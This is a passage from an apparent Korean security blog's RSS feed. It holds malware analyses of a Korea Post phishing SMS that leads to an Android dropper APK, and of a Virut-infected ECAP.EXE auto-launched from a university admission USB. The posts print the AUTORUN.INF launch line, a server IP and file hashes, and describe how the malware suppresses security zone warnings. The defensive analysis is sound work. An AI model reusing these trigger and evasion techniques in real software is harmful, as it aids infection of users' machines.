src=&quot;https://blog.kakaocdn.net/dn/Q5UzY/btrFfYnN1Zs/V16r8FhfSkiQtnV60V3yvk/img.png&quot; style=&quot;width:590px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;47e5d2e4-79c4-4c1d-a6a3-efb25ee8d3e4&quot;&gt;Android 버전 호환이 맞지 않아 설치가 불가능하였다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;5f8c6269-4d26-402f-a1db-4842c17fb362&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cdHZTW/btrFg7Y62LK/fVHCNaVfiDDKpY1bERLZRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdHZTW/btrFg7Y62LK/fVHCNaVfiDDKpY1bERLZRK/img.png&quot; style=&quot;width:492px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;0cb65c52-48c2-4b1a-bcce-587c22061637&quot;&gt;이는 Android 매니페스트를 살펴보면, APK 호환되는 버전이 Android API 18부터 21까지이기 때문이다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;f257cd8a-1ba0-4271-b5d2-61de3b0b86b5&quot;&gt;Android API 18은 Android 5.0인 롤리팝인데 공격자는생각보다 폭넓은 호환성을 개발해두지 않았다.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 class=&quot;&quot; id=&quot;a0756b98-86fb-4346-9dfe-194a87fe0511&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;결론&lt;/mark&gt;&lt;/h1&gt;&lt;figure class=&quot;image&quot; id=&quot;de7cfdd5-d40f-482d-a2b8-8865450bbeb8&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/O5BMm/btrFbOzJAEc/AkBkprcTKWz0y09tEixBK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O5BMm/btrFbOzJAEc/AkBkprcTKWz0y09tEixBK1/img.png&quot; style=&quot;width:496px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;4ef745df-8dfc-468f-ab30-a63006acf238&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;해당 SMS 문자는 우체국 앱을 사칭하는 피싱 SMS 이다.&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;8db54f26-2ce6-4bcb-a211-e46ba9b46d72&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;도메인의 IP는 &lt;code&gt;27.124.36.32&lt;/code&gt; 이며, 포트별로 수 많은 호스팅을 관리하고 있다.&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;95363b35-54da-4b07-aeee-0debbdb01114&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;서버는 요구하는 조건에 맞춰 Trigger 된다면 &lt;code&gt;epost.apk&lt;/code&gt; 설치를 유도한다.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;image&quot; id=&quot;66f36add-19b2-4f06-8e74-cf403e34322d&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/EQajE/btrFg6eOTjY/CFtlOYkuKTkoZuTvWsmJ40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EQajE/btrFg6eOTjY/CFtlOYkuKTkoZuTvWsmJ40/img.png&quot; style=&quot;width:1086px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;276a1e43-0146-49c0-81b6-38ebe3e217c2&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;이때 APK는 &lt;code&gt;Android 5&lt;/code&gt;까지 호환되기 때문에 당장은 대다수가 Android 9 이상 사용중임으로 피해 규모는 작을 것이라 예상한다.&lt;/li&gt;&lt;/ul&gt;&lt;h1 class=&quot;&quot; id=&quot;4b600403-1b2e-46d2-86cc-f0a3624888b3&quot;&gt;&lt;mark class=&quot;highlight-yellow_background&quot;&gt;Reference&lt;/mark&gt;&lt;/h1&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;f0b6a8cd-952b-4346-b059-38240c1cacf6&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;&lt;a href=&quot;https://mobsf.netking.xyz/static_analyzer/?name=epost.apk&amp;amp;checksum=2896de9336343a0ee05f0e15095b73a4&amp;amp;type=apk&quot;&gt;https://mobsf.netking.xyz/static_analyzer/?name=epost.apk&amp;amp;checksum=2896de9336343a0ee05f0e15095b73a4&amp;amp;type=apk&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;20689572-164e-469f-a8e4-d9601e326f49&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b/details&quot;&gt;https://www.virustotal.com/gui/file/c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b/details&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/article&gt;&lt;/body&gt;</description>
      <category>Analysis Report</category>
      <category>Dropper</category>
      <category>phishing</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/286</guid>
      <comments>https://netking.tistory.com/286#entry286comment</comments>
      <pubDate>Sat, 18 Jun 2022 01:46:12 +0900</pubDate>
    </item>
    <item>
      <title>[Windows] 00 대학교 입학키트 USB &amp;quot;ECAP.EXE&amp;quot; 분석</title>
      <link>https://netking.tistory.com/282</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;everytime-1649037269692.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkSmbp/btryk2rYgol/cseEPbkshdDy2uI2Q3WfP0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkSmbp/btryk2rYgol/cseEPbkshdDy2uI2Q3WfP0/img.jpg&quot; data-alt=&quot;2022년 00 대학교 입학키드 USB&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkSmbp/btryk2rYgol/cseEPbkshdDy2uI2Q3WfP0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkSmbp%2Fbtryk2rYgol%2FcseEPbkshdDy2uI2Q3WfP0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;1302&quot; data-filename=&quot;everytime-1649037269692.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1302&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;2022년 00 대학교 입학키드 USB&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 개요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2022년 00 대학교 입학키트 USB에 의심되는 숨긴 파일이 보관되어 있어 자동화 &amp;rarr; 행위 &amp;rarr; 정적 순으로 분석을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 분석 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 분석 환경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS : Windows 7 64bit, Windows 10 Pro&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tools : IDA Pro, Exeinfo PE&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 분석 대상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A 파일 : AUTORUN.INF&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;└ SHA256 : 02ef33bcb1c0575968ef1fcb5b98cf7d3fc794200a5b3fd3920d6c77822d6d82&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B 파일 : ECAP.EXE (의심)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;└&amp;nbsp;SHA256 : 5727c8c5dede609c9f868948696d84cfb2d6e667fcdbd04cc858028335f2c370&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;└ 유형 : MS&amp;nbsp;Windows용&amp;nbsp;PE32&amp;nbsp;실행&amp;nbsp;파일(GUI)&amp;nbsp;Intel&amp;nbsp;80386&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;└&lt;span&gt; 버전 : 6.1.7601.17514&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C 파일 : userinit.exe (정상) (Windows 7에서 추출)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;└ SHA256 : 538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;└ 유형 : MS&amp;nbsp;Windows용&amp;nbsp;PE32&amp;nbsp;실행&amp;nbsp;파일(GUI)&amp;nbsp;Intel&amp;nbsp;80386&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;└&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;버전 : 6.1.7601.17514&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G47uB/btryp5V9D9E/BzJooZLiTuZDX0WTIJODb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G47uB/btryp5V9D9E/BzJooZLiTuZDX0WTIJODb0/img.png&quot; data-origin-width=&quot;421&quot; data-origin-height=&quot;580&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G47uB/btryp5V9D9E/BzJooZLiTuZDX0WTIJODb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG47uB%2Fbtryp5V9D9E%2FBzJooZLiTuZDX0WTIJODb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;421&quot; height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfWSVk/btrytjZRuyu/K42lgRYuIqrffQYWKGJ0pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfWSVk/btrytjZRuyu/K42lgRYuIqrffQYWKGJ0pk/img.png&quot; data-origin-width=&quot;421&quot; data-origin-height=&quot;580&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfWSVk/btrytjZRuyu/K42lgRYuIqrffQYWKGJ0pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfWSVk%2FbtrytjZRuyu%2FK42lgRYuIqrffQYWKGJ0pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;421&quot; height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;B 파일은 정상 C 파일에서 감염&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 자동화 분석 (Virustotal)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석을 시작하기 앞서, 간단하게 의심되는 B 파일와 정상 C 파일간 Virustotal을 통해 살펴보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C 파일은 당연히 아무런 감지된 부분이 없지만, B 파일은 &quot;W32.Virut&quot;라고 윈도우 시스템 프로세스인 Winlogon.exe에 공격자가 임의 코드를 Injection 하는 행위를 통해 서버와 접촉하는 &lt;span&gt;바이러스로 의심된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이러한 내용들은 참고삼아 행위 분석을 진행한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0hcg1/btrykAJgvB8/0jvDBgnh6MQkiFHy2FyBjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0hcg1/btrykAJgvB8/0jvDBgnh6MQkiFHy2FyBjk/img.png&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;1853&quot; style=&quot;width: 50.0139%; margin-right: 10px;&quot; data-widthpercent=&quot;50.6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0hcg1/btrykAJgvB8/0jvDBgnh6MQkiFHy2FyBjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0hcg1%2FbtrykAJgvB8%2F0jvDBgnh6MQkiFHy2FyBjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;1853&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8rAr1/btrypiVIKq7/epkcrC1x6EXywwf2uiRwpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8rAr1/btrypiVIKq7/epkcrC1x6EXywwf2uiRwpK/img.png&quot; data-origin-width=&quot;1298&quot; data-origin-height=&quot;1907&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.8233%;&quot; data-widthpercent=&quot;49.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8rAr1/btrypiVIKq7/epkcrC1x6EXywwf2uiRwpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8rAr1%2FbtrypiVIKq7%2FepkcrC1x6EXywwf2uiRwpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1298&quot; height=&quot;1907&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;바이러스포탈 결과 B 파일 vs C 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 행위 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A 파일은 아래와 같이 USB가 컴퓨터에 연결되면 특정 조건에 맞춰 자동으로 B 파일을 실행한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 45px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 45px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 45px;&quot;&gt;[autorun] &lt;br /&gt;open=ECAP.EXE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 7인 경우 B 파일이 실행하는 순간 Windows 라이브러리 창이 실행되지만, Windows 10에서는 정상적인 실행이 불가능하여 WER(Windows Error Report)가 생성된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2019&quot; data-origin-height=&quot;1267&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmG6uA/btryowL2QjA/gfri2ZDyk7uLlwGa6t9inK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmG6uA/btryowL2QjA/gfri2ZDyk7uLlwGa6t9inK/img.png&quot; data-alt=&quot;Windows 7 환경에서 실행한 B 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmG6uA/btryowL2QjA/gfri2ZDyk7uLlwGa6t9inK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmG6uA%2FbtryowL2QjA%2Fgfri2ZDyk7uLlwGa6t9inK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2019&quot; height=&quot;1267&quot; data-origin-width=&quot;2019&quot; data-origin-height=&quot;1267&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Windows 7 환경에서 실행한 B 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AuGL5/btryq0sQDYr/DCk4kaAdKRikk8xfv7r6nk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AuGL5/btryq0sQDYr/DCk4kaAdKRikk8xfv7r6nk/img.png&quot; data-alt=&quot;Windows 10 환경에서 실행한 B 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AuGL5/btryq0sQDYr/DCk4kaAdKRikk8xfv7r6nk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAuGL5%2Fbtryq0sQDYr%2FDCk4kaAdKRikk8xfv7r6nk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;589&quot; height=&quot;156&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Windows 10 환경에서 실행한 B 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 특정 환경에서 조건을 맞춰야 Trigger 되는 실행파일임으로 Windows 7을 타겟으로 제작된 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 정적 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B 파일은 &lt;span&gt;PE 형태로 별다른 패킹이 되어 있지 않고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;C++로 만들어져 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVcJsD/btrygZaPfio/PxbxC9JxGQXI1wbSYadCe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVcJsD/btrygZaPfio/PxbxC9JxGQXI1wbSYadCe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVcJsD/btrygZaPfio/PxbxC9JxGQXI1wbSYadCe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVcJsD%2FbtrygZaPfio%2FPxbxC9JxGQXI1wbSYadCe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;255&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WinMain 함수에서 디컴파일된 코드를 살펴보면, 아래와 같이 Windows 사용자 로그온 관리자인 &quot;userinit.exe&quot; 프로그램과 비슷한 역할을 수행하고 있음을 짐작할 수 있다. 그러나 같은 용량인척 숨겨진 코드가 어디있을지 꼼꼼히 살펴보자. (문디자슥 으딨어?!  )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zFC6V/btrytjFym2V/godYvfKu5VtorFYszuYm01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zFC6V/btrytjFym2V/godYvfKu5VtorFYszuYm01/img.png&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;1388&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.445%; margin-right: 10px;&quot; data-widthpercent=&quot;48&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zFC6V/btrytjFym2V/godYvfKu5VtorFYszuYm01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzFC6V%2FbtrytjFym2V%2FgodYvfKu5VtorFYszuYm01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1226&quot; height=&quot;1388&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsERe2/btryuWXrnAQ/zUhVmrot6wBuqKY5j9bDY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsERe2/btryuWXrnAQ/zUhVmrot6wBuqKY5j9bDY0/img.png&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;1388&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.3923%;&quot; data-widthpercent=&quot;52&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsERe2/btryuWXrnAQ/zUhVmrot6wBuqKY5j9bDY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsERe2%2FbtryuWXrnAQ%2FzUhVmrot6wBuqKY5j9bDY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1328&quot; height=&quot;1388&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;디컴파일하여 B와 C 파일간 WinMain() 함수 비교&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 아래와 같이 B와 C 파일에 같이 존재하는 함수들을 몇 가지 살펴봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) DisableScriptZoneSecurityCheck() 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 함수가 호출된다면, 모든 사용자 레지스트리의 SEE_MASK_NOZONECHECKS = 1로 환경 변수를 설정하는 코드로 파일을 실행했을 때 경고창이 뜨지 않게 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;411&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HYvbb/btryn9K1DGd/McfIUHjKzlT28sQ5kOAUzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HYvbb/btryn9K1DGd/McfIUHjKzlT28sQ5kOAUzk/img.png&quot; data-alt=&quot;DisableScriptZoneSecurityCheck 함수 호출&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HYvbb/btryn9K1DGd/McfIUHjKzlT28sQ5kOAUzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHYvbb%2Fbtryn9K1DGd%2FMcfIUHjKzlT28sQ5kOAUzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;411&quot; height=&quot;216&quot; data-origin-width=&quot;411&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DisableScriptZoneSecurityCheck 함수 호출&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;478&quot; data-origin-height=&quot;68&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba85Hn/btryrqShqx1/kz3KOfk8Vg1q39dqx6TxY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba85Hn/btryrqShqx1/kz3KOfk8Vg1q39dqx6TxY0/img.png&quot; data-alt=&quot;DisableScriptZoneSecurityCheck 함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba85Hn/btryrqShqx1/kz3KOfk8Vg1q39dqx6TxY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba85Hn%2FbtryrqShqx1%2Fkz3KOfk8Vg1q39dqx6TxY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;68&quot; data-origin-width=&quot;478&quot; data-origin-height=&quot;68&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DisableScriptZoneSecurityCheck 함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) ExecApplication() 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 작업을 위해 리눅스에서 su 명령어처럼 Windows에서는 Runas 명령어를 사용한다. 즉, 아래 runas 코드와 함께 explorar.exe 명령어가 포함되어 있다.&lt;/p&gt;
